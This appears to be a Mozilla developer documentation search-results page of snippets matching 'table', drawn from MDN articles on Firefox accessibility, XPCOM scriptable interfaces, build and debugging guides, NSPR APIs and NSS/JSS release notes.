table or coherent. if you click on the input at the top of our app, you'll see a thick, dashed outline around that input. this outline is your visual indicator that the browser is currently focused on this element. if you are a mouse user, you might have skipped this visual hint. but if you are working exclusively with the keyboard, knowing which control has focus is of vital importance. it tells us ...
Introducing a complete toolchain - Learn web development
following" list), so technically you only need to create one new account. later on you'll need to connect your netlify account to your github repository to deploy this project; we'll see how to do that in the next chapter. three stages of tools as we talked about in chapter 1, the toolchain will be structured into the following phases: safety net: making the software development experience s
table and more efficient. we might also refer to this as our development environment. transformation: tooling that allows us to use the latest features of a language (e.g. javascript) or another language entirely (e.g. jsx or typescript) in our development process, and then transforms our code so that the production version still runs on a wide variety of browsers, modern and older. post development:...
...th our development environment. creating a development environment this part of the toolchain is sometimes seen to be delaying the actual work, and it can be very easy to fall into a "rabbit hole" of tooling where you spend a lot of time trying to get the environment "just right". but you can look at this in the same way as setting up your physical work environment. the chair needs to be comfor
table, and set up in a good position to help with your posture. you need power, wifi, and usb ports! there might be important decorations or music that help with your mental state — these are all important to doing your best work possible, and they should also only need to be set up once, if done properly. in the same way, setting up your development environment, if done well, needs doing only once ...
Accessibility Features in Firefox
upport currently coming from gw micro's window-eyes 5.5. we are optimistic that jaws support will catch up this year. in recent articles from both afb's access world and nfb's voice of the nation's blind, reviewers found no significant roadblocks in moving to firefox from internet explorer for screen reader users. in fact, the same keyboard commands are still available, so users can become comfor
table and productive right away. screen magnifier users can also benefit from firefox's powerful features today, as caret and focus tracking are fully enabled. mozilla corporation is currently reaching out to work with ai squared, the makers of zoomtext, in order to enable complete support of advanced zoomtext features such as the doc reader and app reader. we are also optimistic that the the makers o...
...ccess to the user interface in the coming year. firefox on linux currently boasts the best onscreen keyboard support in the industry via gok, the gnome onscreen keyboard. basic screen reader accessibility is available via the fire vox extension. fire vox can also be used on windows or os x. for more detailed information, please check the assistive technology compatibility guide is kept on an edi
table wiki. keyboard support "mozilla firefox is a web-browser with superior keyboard support." alan cantor, cantor access consulting firefox includes keyboard access to all of its amazing features: browse with caret allows users to select arbitrary content with the keyboard and move through content as if inside a read-only editor. this allows copying arbitrary pieces of text to the clipboard.
Creating JavaScript callbacks in components
groups of code is the observer (or listener) pattern. basically, the component defines an observer (or listener) interface which is implemented by some external code and this implementation is passed to the component. the component can then call methods on the observer interface to signal the external code when predefined events occur. here is a very simple example of the observer pattern: [scrip
table, uuid(...)] interface stringparserobserver { void onword(string word); }; [scrip
table, uuid(...)] interface stringparser { void parse(string data); void addobserver(stringparserobserver observer); }; in this example, the stringparser will call the stringparserobserver.onword method whenever it finishes parsing a word found in the raw string data. here is an example of how to use the call...
... interface. note, that since the javascript function is a single method, this magic only works for callback interfaces with a single method, like nsidomeventlistener. the javascript function is passed the same arguments as defined by the callback method. so we could convert the example above to accept javascript functions in place of the stringparserobserver by making the following changes: [scrip
table, function, uuid(...)] interface stringparserobserver : nsisupports { void onword(string word); }; [scrip
table, uuid(...)] interface stringparser { void parse(string data); void addobserver(stringparserobserver observer); }; note the only change was adding function to the interface attributes of the callback interface. now we can create a callback javascript function to handle the onword ...
Capturing a minidump
version of windbg only if you are using a 32-bit version of firefox) then install it, the standard settings in the installation process are fine. capture a minidump connect firefox to the debugger. if firefox is not already running, then open windbg from the start menu (start->all programs->debugging tools for windows->windbg). next, open the "file" menu and choose "open execu
table...". in the file chooser window that appears, open the firefox.exe execu
table in your firefox program folder (c:\program files\mozilla firefox). if firefox is already running, open windbg from the start menu (start->all programs->debugging tools for windows->windbg). next, open the "file" menu and choose "attach to a process...". in the file chooser window that appears, find the fire...
... you should now see a "command" text window with debug output at the top and an input box at the bottom. from the menu, select debug → go, and firefox should start. if the debugger spits out some text right away and firefox doesn't come up, select debug → go again. ...
Simple Instantbird build
to your .mozconfig with your favorite editor. then just re-run the mach command above (you may need to clobber (see below), or you can do the addition before running make for the first time). running to run your build, you can use ./mozilla/mach run there are various command line parameters you can add, e.g. to specify a profile. ...
...here are various command line parameters you can add, e.g. to specify a profile. various temporary files, libraries, and the instantbird execu
table will be found in your object directory (under comm-central/), which is prefixed with obj-. the exact name depends on your system and os. for example, a mac user may get an object directory name of obj-x86_64-apple-darwin10.7.3/. the instantbird execu
table in particular, and its dependencies, are located under the dist/bin folder under the object directory. to run the execu
table from your comm-central working directory: windows: obj-.../dist/bin/instantbird.exe linux: obj-.../dist/bin/instantbird os x: obj-.../dist/instantbird.app/contents/macos/instantbird how to update and build again simply re-run the mach command above. this will only r...
Creating Custom Events That Can Pass Data
e making easier. your modification of this file is basically just two macro calls. try to make sure of two things: keep your stuff at the back. you know never know what depends on that enum you modified keep your stuff organized. same reason as above. you need to make the following two modifications: around line 1000: ns_define_classinfo_data({truncated name}, nsdomgenericsh, dom_default_scrip
table_flags) around line 2900: dom_classinfo_map_begin({truncated name}, nsidom{truncatedname}) dom_classinfo_map_entry(nsidom{truncated name}) dom_classinfo_event_map_entries dom_classinfo_map_end remember, {truncated name} is the same as above. mozilla/content/events/src/nseventdispatcher.cpp note: in the mozilla 1.8.x branch this code is actually in mozilla/content/events/src/nseventlistener...
...t* it = new nsdommyevent(aprescontext, aevent); if (nsnull == it) { return ns_error_out_of_memory; } return callqueryinterface(it, adomevent); } in general though i'd strongly recommend using a function the way that everyone else does. you can find the prototypes for the function in nsiprivatedomevent. your event in order for your event to work you must do the following: create a scrip
table interface called nsidom{youreventname} inheriting from nsidomevent. a good place to put this .idl is in mozilla/dom/public/idl/events/. #include "nsidomevent.idl" [scrip
table, uuid(08bea243-8a7b-4554-9ee9-70d7785d741b)] interface nsidommyevent: nsidomevent { //put members here! }; implement the interface you created with a class that inherits from nsdomevent. use nsdomevent.h's ns_forward_t...
Eclipse CDT
ebugging. one suggested configuration for building gdb is '--prefix="$home" --disable-debug --with-python=/usr' (create an optimized build with support for python (so that you can use python to much better control when you break etc.), and install it in $home/bin). that done, open the workspace preferences, select "c/c++ > debug > gdb", and set "gdb debugger" to the full path of your new gdb execu
table. gdb unexpectedly detaching if gdb starts ignoring your breakpoints, or unexpectedly terminates or detaches from the firefox process, this may be caused by out of date breakpoints (breakpoints that you set during a previous debug session, after which you've since rebuilt). remove any such breakpoints and restart your debug session. known issues there are various known limitations and bugs whe...
...ity to index the source and provide good code assistance. how can i open eclipse for multiple trees at once? to be able to open more than one workspace at a time, you currently need to launch a separate eclipse process for each workspace. ...
Commenting IDL for better documentation
-believe interface that eats and enjoys cookies. this is an * example of what an interface document should look like; however, it's not a * document about a real interface. * * @note the article's name should be simply "nsicookiemonster" but is not in * order to make it more obvious this is an example. also, you should add the * "interfaces" tag to your article, as well as "interfaces:scrip
table" if the * interface is scrip
table. * * @remarks remember, this isn't a real interface. this is where you would * provide additional information about the interface as necessary. * * @see nsicookie * @see nsicookiemanager */ /* * take note that this is not a doxygen style comment, there is only one * on * the line above. * this means that anything i mention here will not be used to gen...
...a doxygen style comment, there is only one * on * the line above. * this means that anything i mention here will not be used to generate * documentation. * * to make it easier to document i have included that you can create an instance * of this interface by implementing: @mozilla.org/cookie-monster;1 */ // i can also just use a comment like this here as well and it will not be used. [scrip
table, uuid(xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx)] interface nsicookiemonster : nsicookiefan { // cookie flavor constants /** * simple sugar cookie. */ const integer cookie_flavor_sugar = 1; /** * chocolate chip cookie. */ const integer cookie_flavor_chocolate_chip = 2; /** * peanut butter cookie. */ const integer cookie_flavor_peanut_butter = 3; /** * chocolate cookie with chocolate chips.
Linux compatibility matrix
the following
table lists the available library versions for the mozilla.org-distributed firefox builds dependencies, and/or to build firefox. distribution kernel glibc glib gtk+2 gtk+3 pixman stdc++ gcc clang python3 released eol fedora 16 3.1 2.14 2.30 2.24 3.2 0.22 4.6 4.6 2.9 n/a nov 2011 feb 2013 fedora 17 3.3 2.15 2.32 2.24 3.4 0.24 4.7 4.7 3.0 n/a may 2012 jul 2013 fedora 18 3.6 2.16 2.34 2.24 3.6 0.26 4.7 4.7 3.1 n/a jan 2013 jan 2014 fedora 19 3.9 2.17 2.36 2.24 3.8 0.30 4.8.1 4.8 3.3 n/a jul 2013 jan 2015 fedora 20 3.11 2.18 2.38 2.24 3.
...otes red backgrounds denote lack of compatibility with current versions of firefox. ...
IPDL Tutorial
custom serializer and deserializer must be provided by your c++ code. using mozilla::plugins::npremoteevent; sync protocol pplugininstance { child: async handleevent(npremoteevent); }; unions ipdl has built-in support for declaring discriminated unions. ...
...eevent); }; unions ipdl has built-in support for declaring discriminated unions. using struct mozilla::void_t from "ipc/ipcmessageutils.h"; union variant { void_t; bool; int; double; nscstring; ppluginscrip
tableobject; }; this union generates a c++ interface which includes the following: struct variant { enum type { tvoid_t, tbool, tint, tdouble, tnscstring, tpplugionscrip
tableobject }; type type(); void_t& get_void_t(); bool& get_bool(); int& get_int(); double& get_double(); nscstring& get_nscstring(); ppluginscrip
tableobject* get_ppluginscrip
tableobject(); }; aunion.type() can be used to determine the type of a union received in an ipdl message handler, with the remaining functions granting access to its contents. to initialize a union, simply assig...
Internationalized Domain Names (IDN) Support in Mozilla Browsers
the publication of the icann guideline for idn in june of 2003. (cf. icann = internet corporation for assigned names and numbers.) the guideline allows domain name registrars in each country to limit the use of characters for domain names. since the unicode repertoire contains characters no longer used in any living languages and there are also living characters in most languages that are not sui
table for uri/url creation, the icann guideline allows the governing body of each country's domain registrars to set appropriate limitations on the use of characters. with this last piece of obstacle for standardization out of the way, domain name registrars are expected to move forward on implementing the new rfc's for existing and future idn registrations quickly. jprs (japan registry service) deci...
...ult" once you are finished with testing! caveats and conclusions netscape 7.1/mozilla 1.4 has solid support for internationalized domain names and is the first browser with built-in support for new rfc's for idn established by ietf. this means that there is no longer any need to use a plug-in to process non-ascii domain names. netscape/mozilla's support for idn is not without some bugs. one no
table bug is that non-ascii names are not always displayed correctly in some ui areas such as preference panels, bookmarks and history. non-ascii names are not always correctly displayed in the location bar due to the fact that ace to unicode conversion is not implemented yet. of particular concern for japanese users is the one in which full-width japanese roman characters are not normalized to ascii r...
Introduction to Layout in Mozilla
desired size returned “up” via nshtmlreflowmetrics basic pattern parent frame initializes child reflow state (available w, h); places child frame (x, y); invokes child’s reflow method child frame computes desired (w, h), returns via reflow metrics parent frame sizes child frame and view based on child’s metrics n.b. ...
...ication limits” efficiency vs. responsiveness trade-off frame construction runs to completion css parsing runs to completion reflow runs to completion (mostly) painting runs to completion future (?) tech talks content model and dom - jst, jkeiser parser and content sink (esp. ...
Application Translation with Mercurial
linux and mac os) is available on wikipedia. file and text editor for editing individual files a text editor can be a better choice than a file comparion program, e.g. because the file is new and everything has to be translated, the file is too customized to compare it to the english one, or special functionality is required (e.g. bookmarking untranslated lines). use a text editor you are comfor
table with. this example uses notepad++. progress tracking tool to track which strings and files already have been translated and later also to see which new strings have already been tested in the product as being a good translation for the functionality behind the translated strings and that the translated texts fit into the available, the translation progress should be tracked. this can be done in...
...t = export -g -r qtip qexportall = diff -r qparent [defaults] commit = -v diff = -p -u 8 qdiff = -p -u 8 qnew = -u [diff] git = 1 showfunc = 1 unified = 8 [extensions] hgext.mq = progress = [hooks] put in your name and email address which later will be public on the internet after your translation patch got accepted and uploaded. save the file and close it. enabling mercurial queues (rever
table patches) some time will pass between the moment in which you start the localization, finish it, test it, improve it, upload it for review and get review (maybe not approved on first try). other localizers will likely have done changes to the translation, either adding new texts, removing obsolete ones or improving the current texts. this can cause conflicts between the changes you created and th...
Localization and Plurals
tension to help make sure you pick the right plural rule and provide enough plural forms for strings, you should use the pluralform checker extension. after installing the extension, it should be available from the tools menu. to use it, list off the property files and properties that you want to check and click the button. the extension will load each property and display the plural forms in a
table. selecting a
table entry will populate the bottom box with sample uses of the word for some numbers. install pluralform checker v0.3 extension extension input it would be good to keep this list updated with all the words that need plural forms. people using the extension can then copy/paste this input. chrome://mozapps/locale/downloads/do...tes,hours,days chrome://mozapps/locale/downloads/...
... it would be good to keep this list updated with all the words that need plural forms. people using the extension can then copy/paste this input. ...
Fonts for Mozilla's MathML engine
ince it forces your gecko browser to load a css stylesheet on each page you visit as well as web math fonts on all pages with mathml content. a better alternative on unix systems is to install the otf files for latin modern math and stix into some local font folder and (if necessary) to run fc-cache on it. on os x and linux, the standard paths are ~/library/fonts/ and ~/.fonts. fonts with a math
table you can actually render mathml using any font with a math
table and related open font format features. a list of such math fonts is provided below. you can use the advanced font preference menu to configure the default font for mathematics. alternatively, you can try the mathml-fontsettings add-on. asana math cambria math dejavu math tex gyre garamond math (under development) latin modern...
... ...
BloatView
are easy to fix. the total number of objects might be 1. this might indicate a global variable or service. usually this will have a large number of refcounts. if you find leaks, you can use refcount tracing and balancing to discover the root cause. combining and sorting bloat logs you can view one or more bloat logs in your browser by running the following program. perl tools/bloatview/bloat
table.pl log1 log2 ... logn > htmlfile this will produce an html file that contains a
table similar to the following (but with added javascript so you can sort the data by column). byte bloats name file date blank blank.txt tue aug 29 14:17:40 2000 mozilla mozilla.txt tue aug 29 14:18:42 2000 yahoo yahoo.txt tue aug 29 14:19:32 2000 ...
...tview and continuous integration bloatview runs on debug builds for many of the test suites mozilla has running under continuous integration. if a new leak occurs, it will trigger a test job failure. bloatview's output file can also show you where the leaked objects are allocated. ...
about:memory
│ │ ├───4.55 mb (02.37%) ++ js-compartment(http://edition.cnn.com/) │ │ │ │ ├───2.60 mb (01.36%) ++ layout │ │ │ │ ├───1.94 mb (01.01%) ── style-sheets │ │ │ │ └───1.48 mb (00.77%) -- (2 tiny) │ │ │ │ ├──1.43 mb (00.75%) ++ dom │ │ │ │ └──0.05 mb (00.02%) ── property-
tables │ │ │ └───9.61 mb (05.01%) ++ (18 tiny) │ │ └───4.39 mb (02.29%) -- js-zone(0x7f69425b5800) │ ├──15.75 mb (08.21%) ++ top(http://techcrunch.com/, id=20) │ ├──12.85 mb (06.69%) ++ top(http://arstechnica.com/, id=14) │ ├───6.40 mb (03.33%) ++ top(chrome://browser/content/browser.xul, id=3) │ └───3.59 mb (01.87%) ++ (4 tin...
... finally, at the end of this section are individual measurements, as the following example shows. 0.00 mb ── canvas-2d-pixels 5.38 mb ── gfx-surface-xlib 0.00 mb ── gfx-textures 0.00 mb ── gfx-ti...
AsyncTestUtils extended framework
you should not modify this list, you can get its length and read from it. getmsghdr(aindex) [function] retrieve the nsimsgdbhdr at the given index. getmsguri(aindex) [function] retrieve the uri of the message header at the given index. msghdrlist [getter] return a js list with all the nsimsgdbhdrs for the messages that have been injected into folders. xpcomhdrarray [getter] return an nsimu
tablearray of the message headers that have been injected into folders. folderswithmsghdrs [getter] return a list where each element is a list with two sub-elements. the first is an nsimsgfolder and the second is a js list of all the nsimsgdbhdrs for the messages that were inserted into the folder. this is used by routines that need to process the messages grouped by the folder they belong to, such a...
...h two sub-elements. the first is an nsimsgfolder and the second is a js list of all the nsimsgdbhdrs for the messages that were inserted into the folder. this is used by routines that need to process the messages grouped by the folder they belong to, such as initiating message moves. folderswithxpcomhdrarrays [getter] same as folderswithmsghdrs but the second element in each sub-list is an nsimu
tablearray instead of a js list. manipulating messages setread(aberead) setread(true) marks all the messages in the set as read, setread(false) marks them as unread. setstarred(abestarred) setstarred(true) marks all the messages in the set as starred ("flagged" in imap parlance), setstarred(false) makes them not be starred. addtag(atagkey) adds the given tag to all the messages in the set. th...
About NSPR
these facilities include threads, thread synchronization, normal file and network i/o, interval timing and calendar time, basic memory management (malloc and free) and shared library linking. history a good portion of the library's purpose, and perhaps the primary purpose in the gromit environment, was to provide the underpinnings of the java vm, more or less mapping the sys layer that sun defined for the porting of the java vm to various platforms. nspr went beyond that requirement in some areas and since it was also the platform independent layer for most of the servers produced by netscape. ...
...feature set. in most cases this is simply a smoothing over of the facilities offered by the various platform providers. where it's headed nspr is applicable as a platform on which to write threaded applications that need to be ported to multiple platforms. the current implementation supports macintosh (ppc), win-32 (winnt, win9x) and 20 versions of unix and is still expanding. the basic api is s
table and expected to remain that way. nspr is functionally complete and has entered a mode of sustaining engineering. as operating system vendors issue new releases of their operating systems, nspr will be moved forward to these new releases by interested players. original document information author: larryh@netscape.com last updated date: 2000 (portions of the introduction moved to the histor...
PLHashEntry
an entry has a key and a value, represented by the following fields in the plhashentry structure. const void *key; void *value; the key field is a pointer to an opaque key. the value field is a pointer to an opaque value. if the key of an entry is an integral value that can fit into a void * pointer, you can just cast the key itself to void * and store it in the key field. ...
... ...
PR_Poll
ion failed. the reason for the failure can be obtained by calling pr_geterror. description this function returns as soon as i/o is ready on one or more of the underlying socket objects. a count of the number of ready descriptors is returned unless a timeout occurs, in which case zero is returned. the in_flags field of the prpolldesc data structure should be set to the i/o events (readable, wri
table, exception, or some combination) that the caller is interested in. on successful return, the out_flags field of the prpolldesc data structure is set to indicate what kind of i/o is ready on the respective descriptor. pr_poll uses the out_flags fields as scratch variables during the call. if pr_poll returns 0 or -1, the out_flags fields do not contain meaningful values and must not be used. the p...
... a pointer to any prfiledesc object, including one representing a file or a pipe. cross-platform applications should only set the fd field to a pointer to a prfiledesc object representing a socket or a pollable event because on windows the select function can only be used with sockets. in_flags a bitwise or of the following bit flags: pr_poll_read: fd is readable. pr_poll_write: fd is wri
table. pr_poll_except: fd has an exception condition. out_flags a bitwise or of the following bit flags: pr_poll_read pr_poll_write pr_poll_except pr_poll_err: fd has an error. pr_poll_nval: fd is bad. note that the pr_poll_err and pr_poll_nval flags are used only in out_flags. the pr_poll_err and pr_poll_nval events are always reported by pr_poll. ...
PR_SetThreadPrivate
priv the per-thread private data, or more likely, a pointer to the data. returns the function returns one of the following values: if successful, pr_success. if the index is invalid, pr_failure. ...
...ntime provides no protection for the private data. the destructor is called with the runtime holding no locks. synchronization is the client's responsibility. the only way to eliminate thread private data at an index prior to the thread's termination is to call pr_setthreadprivate with a null argument. this causes the index's destructor function to be called, and afterwards assigns a null in the
table. a client must not delete the referant object of a non-null private data without first eliminating it from the
table. ...
NSPR API Reference
t) integers bitmaps formatted printing linked lists linked list types prclist linked list macros pr_init_clist pr_init_static_clist pr_append_link pr_insert_link pr_next_link pr_prev_link pr_remove_link pr_remove_and_init_link pr_insert_before pr_insert_after dynamic library linking library linking types prlibrary prstaticlink
table library linking functions pr_setlibrarypath pr_getlibrarypath pr_getlibraryname pr_freelibraryname pr_loadlibrary pr_unloadlibrary pr_findsymbol pr_findsymbolandlibrary finding symbols defined in the main execu
table program platform notes dynamic library search path exporting symbols from the main execu
table program process management and...
...pr_not_reached use example instrumentation counters named shared memory shared memory protocol named shared memory functions anonymous shared memory anonymous memory protocol anonymous shared memory functions ipc semaphores ipc semaphore functions thread pools thread pool types thread pool functions random number generator random number generator function hash
tables hash
tables and type constants hash
table functions nspr error handling error type error functions error codes ...
An overview of NSS Internals
nd cryptographic algorithms, originally called netscape security services, nowadays called network security services (nss). nss is a library written in the c programming language. it's free and open source software, and many other software projects have decided to use it. in order to support multiple operating systems (os), it is based on a cross platform portability layer, called the netscape por
table runtime (nspr), which provides cross platform application programming interfaces (apis) for os specific apis like file system access, memory management, network communication, and multithreaded programming. nss offers lots of functionality; we'll walk through the list of modules, design principles, and important relevant standards. in order to allow interoperability between software and dev...
...oke the validity of the cert). trust anchors contained in the ckbi module are usually self signed, which is defined as having identical subject name and issuer name fields. if a self-signed certificate is marked as explicitly trusted, nss will skip checking the self-signature for validity. nss has multiple apis to perform verification of certificates. there is a classic engine that is very s
table and works fine in all simple scenarios, for example if all (b) candidate issuer certificates have the same subject and issuer names and differ by validity period; however, it works only in a limited amount of more advanced scenarios. unfortunately, the world of certificates has become more complex in the recent past. new certificate authorities enter the global pki market, and in order to get sta...
NSS FAQ
are accelerators. how do i integrate smart cards into my application using nss? nss supports the pkcs #11 interface for smart card integration. applications that use the pkcs #11 interface provided by nss will therefore support smart cards from leading vendors such as activecard, litronic, safenet, and secureid technologies that also support the pkcs #11 interface. does nss require netscape por
table runtime (nspr)? to provide cross-platform support, nss utilizes netscape por
table runtime (nspr) libraries as a portability interface and implementation that provides consistent cross-platform semantics for network i/o and threading models. you can use nspr throughout your application or only in the portion that calls into nss. mozilla strongly recommends that multithreaded applications use the ...
...ommends that multithreaded applications use the nspr or native os threading model. (in recent nspr releases, the nspr threading model is compatible with the native threading model if the os has native threads.) alternatively, you can adapt the open-source nspr implementation to be compatible with your existing application's threading models. more information about nspr may be found at netscape por
table runtime. can i use nss even if my application protocol isn't http? yes, tls is independent of application protocols. it works with common internet standard application protocols (http, pop3, ftp, smtp, etc.) as well as custom application protocols using tcp/ip. how long does it take to integrate nss into my application? the integration effort depends on an number of factors, such as developer...
Introduction to Network Security Services
ich static libraries in nss 3.1.1 are replaced by each of the above shared libraries in nss 3.2 , see migration from nss 3.1.1. figure 1, below, shows a simplified view of the relationships among the three shared libraries listed above and nspr, which provides low-level cross platform support for operations such as threading and i/o. (note that nspr is a separate mozilla project; see netscape por
table runtime for details.) figure 1 relationships among core nss libraries and nspr naming conventions and special libraries windows and unix use different naming conventions for static and dynamic libraries: windows unix static .lib .a dynamic .dll .so or .sl in addition, windows has "import" libraries that bind to dynamic libraries. so t...
... for (ultra)sparc (not x86) cpus. these hp and solaris platforms allow programs that use the ilp32 program model to run on both 32-bit cpus and 64-bit cpus. the two libraries exist to provide optimal performance on each of the two types of cpus. these two extra shared libraries are not supplied on any other platforms. the names of these libraries are platform-dependent, as shown in the following
table. platform for 32-bit cpus for 64-bit cpus solaris/sparc libfreebl_pure32_3.so libfreebl_hybrid_3.so hpux/parisc libfreebl_pure32_3.sl libfreebl_hybrid_3.sl aix (planned for a future release) libfreebl_pure32_3_shr.a libfreebl_hybrid_3_shr.a an application should not link against these libraries, because they are dynamically loade...
Mozilla-JSS JCA Provider notes
this policy varies across pkcs #11 tokens. translatekey tries two approaches to copying keys. first, it tries to copy the key material directly using nss calls to pkcs #11. if that fails, it calls getencoded() on the source key, and then...
... key algorithm keyspec class desede desedekeyspec des deskeyspec desede des aes rc4 secretkeyspec for increased security, some secretkeys may not be extrac
table from their pkcs #11 token. in this case, the key should be wrapped (encrypted with another key), and then the encrypted key might be extrac
table from the token. this policy varies across pkcs #11 tokens. translatekey tries two approaches to copying keys. first, it tries to copy the key material directly using nss calls to pkcs #11. if that fails, it calls getencoded() on the source key, and then tries to create a new key on the target token from the encoded bits. both of these operations will fail if the source key is not extrac
table. t...
Using JSS
libraries for i/o and crypto. jss version 3.0 linked statically with nss, so it only required nspr. jss versions 3.1 and later link dynamically with nss, so they also require the nss shared libraries. the exact library names vary according to the convention for each platform. for example, the nspr library is called nspr4.dll or libnspr4.dll on windows and libnspr4.so on solaris. the following
table gives the core names of the libraries, omitting the platform-specific prefix and suffix. jss dependencies core library name description binary release location nspr4 nspr os abstraction layer http://ftp.mozilla.org/pub/mozilla.org/nspr/releases plc4 nspr standard c library replacement functions ...
...on all platforms. more information... fort fortezza support. optional swft pkcs #11 module implementing fortezza in software. optional. if you built jss from source, you have these libraries in the mozilla/dist/<platform>/lib directory of your build tree. if you are downloading binaries, get them from the binary release locations in the above
table. you need to select the right version of the components, based on the version of jss you are using. generally, it is safe to use a later version of a component than what jss was tested with. for example, although jss 4.2 was tested with nss 3.11. component versions jss version component tested version jss 4.2 nspr 4.6.4 ...
NSS 3.22.1 release notes
introduction network security services (nss) 3.22.1 is a patch release for nss 3.22. the bug fixes in nss 3.22.1 are described in the "no
table changes" section below. distribution information the hg tag is nss_3_22_1_rtm. nss 3.22.1 requires nspr 4.12 or newer. nss 3.22.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_1_rtm/src/ new in nss 3.22.1 new functionality no new functionality is introduced in this release. ...
...ion below. distribution information the hg tag is nss_3_22_1_rtm. nss 3.22.1 requires nspr 4.12 or newer. nss 3.22.1 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_22_1_rtm/src/ new in nss 3.22.1 new functionality no new functionality is introduced in this release. no
table changes in nss 3.22.1 bug 1194680: nss has been changed to use the pr_getenvsecure function that was made available in nspr 4.12 compatibility nss 3.22.1 shared libraries are backward compatible with all older nss 3.22 shared libraries. a program linked with older nss 3.x shared libraries will work with nss 3.22.1 shared libraries without recompiling or relinking. furthermore, applications ...
NSS 3.25 release notes
nss 3.25 source distributions are available on ftp.mozilla.org for secure https download at the following location. source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_25_rtm/src/ new in nss 3.25 new functionality implemented dhe key agreement for tls 1.3. added support for chacha with tls 1.3. ...
...to only support certificate_verify messages that used the same signature hash algorithm as the prf when using tls 1.2 client authentication. several functions have been added to the public api of the nss cryptoki framework. new functions in nssckfw.h nssckfwslot_getslotid nssckfwsession_getfwslot nssckfwinstance_destroysessionhandle nssckfwinstance_findsessionhandle no
table changes in nss 3.25 an ssl socket can no longer be configured to allow both tls 1.3 and ssl v3. regression fix: nss no longer reports a failure if an application attempts to disable the ssl v2 protocol. the trusted ca certificate list has been updated to version 2.8. the following ca certificate was removed cn = sonera class1 ca sha-256 fingerprint: cd:80:82:84:cf:74:6f:f2:f...
NSS 3.26 release notes
introduction the network security services (nss) team has released nss 3.26, which is a minor release. distribution information the hg tag is nss_3_26_rtm. nss 3.26 requires netscape por
table runtime (nspr) 4.12 or newer. ...
.../security/nss/releases/nss_3_26_rtm/src/ new in nss 3.26 new functionality the selfserv test utility has been enhanced to support alpn (http/1.1) and 0-rtt added support for the system-wide crypto policy available on fedora linux, see http://fedoraproject.org/wiki/changes/cryptopolicy introduced build flag nss_disable_libpkix which allows compilation of nss without the libpkix library no
table changes in nss 3.26 the following ca certificate was added cn = isrg root x1 sha-256 fingerprint: 96:bc:ec:06:26:49:76:f3:74:60:77:9a:cf:28:c5:a7:cf:e8:a3:c0:aa:e1:1a:8f:fc:ee:05:c0:bd:df:08:c6 npn is disabled, and alpn is enabled by default the nss test suite now completes with the experimental tls 1.3 code enabled several test improvements and additions, inc...
NSS 3.27 release notes
introduction the network security services (nss) team has released nss 3.27, which is a minor release. distribution information the hg tag is nss_3_27_rtm. nss 3.27 requires netscape por
table runtime (nspr) 4.13 or newer. nss 3.27 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_rtm/src/ new in nss 3.27 new functionality allow custom named group priorities for tls key exchange handshake (ssl_namedgroupconfig). ...
...tp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_27_rtm/src/ new in nss 3.27 new functionality allow custom named group priorities for tls key exchange handshake (ssl_namedgroupconfig). added support for rsa-pss signatures in tls 1.2 and tls 1.3 new functions in ssl.h ssl_namedgroupconfig no
table changes in nss 3.27 update 2016-10-02: the maximum tls version supported has been increased to tls 1.3 (draft). although the maximum tls version enabled by default is still tls 1.2, there are applications that query the list of tls protocol versions supported by nss, and enable all supported versions. for those applications, updating to nss 3.27 may result in tls 1.3 (draft) to be en...
NSS 3.28 release notes
nss 3.28 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_28_rtm/src/ new in nss 3.28 new functionality nss includes support for tls 1.3 draft -18. ...
...cations will therefore enable support for the tls 1.3 protocol. in order to prepare for this future change, we'd like to encourage all users of nss to override the standard nss 3.28 build configuration, by defining nss_enable_tls_1_3=1 at build time. this will enable support for tls 1.3. please give feedback to the nss developers for any compatibility issues that you encounter in your tests. no
table changes in nss 3.28 nss can no longer be compiled with support for additional elliptic curves (the nss_ecc_more_than_suite_b option, bug 1253912). this was previously possible by replacing certain nss source files. nss will now detect the presence of tokens that support additional elliptic curves and enable those curves for use in tls (bug 1303648). note that this detection has a one-off per...
NSS 3.30 release notes
introduction the network security services (nss) team has released nss 3.30, which is a minor release. distribution information the hg tag is nss_3_30_rtm. nss 3.30 requires netscape por
table runtime (nspr); 4.13.1 or newer. nss 3.30 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_30_rtm/src/ new in nss 3.30 new functionality in the pkcs#11 root ca module (nssckbi), cas with positive trust are marked with a new boolean attribute, cka_nss_mozilla_ca_policy, set to true. applications that need to distinguish them from other other root cas, may use the exported function pk11_hasattributeset. support for callback functions that can be used to monitor ssl/tls ...
...only an ecdsa certificate) is configured. rsa-pss signatures produced by key pairs with a modulus bit length that is not a multiple of 8 are now supported. the pk12util tool now supports importing and exporting data encrypted in the aes based schemes defined in pkcs#5 v2.1. bu...
NSS 3.31 release notes
nss 3.31 source distributions are available on ftp.mozilla.org for secure https download: source tarballs: https://ftp.mozilla.org/pub/mozilla.org/security/nss/releases/nss_3_31_rtm/src/ new in nss 3.31 new functionality allow certificates to be specified by rfc7512 pkcs#11 uris. ...
...given name. pk11uri_getqueryattribute - retrieve a query attribute with the given name. pk11uri_parseuri - parse pkcs#11 uri and return a new pk11uri object. new macros in pkcs11uri.h several new macros that start with pk11uri_pattr_ for path attributes defined in rfc7512. several new macros that start with pk11uri_qattr_ for query attributes defined in rfc7512. no
table changes in nss 3.31 the apis that set a tls version range have been changed to trim the requested range to the overlap with a systemwide crypto policy, if configured. ssl_versionrangegetsupported can be used to query the overlap between the library's supported range of tls versions and the systemwide policy. previously, ssl_versionrangeset and ssl_versionrangesetdefault returned a failure if ...
NSS 3.32 release notes
the code signing trust bit was turned off for all, included root certificates. ...
... the code signing trust bit was turned off for all, included root certificates. ...
NSS 3.35 release notes
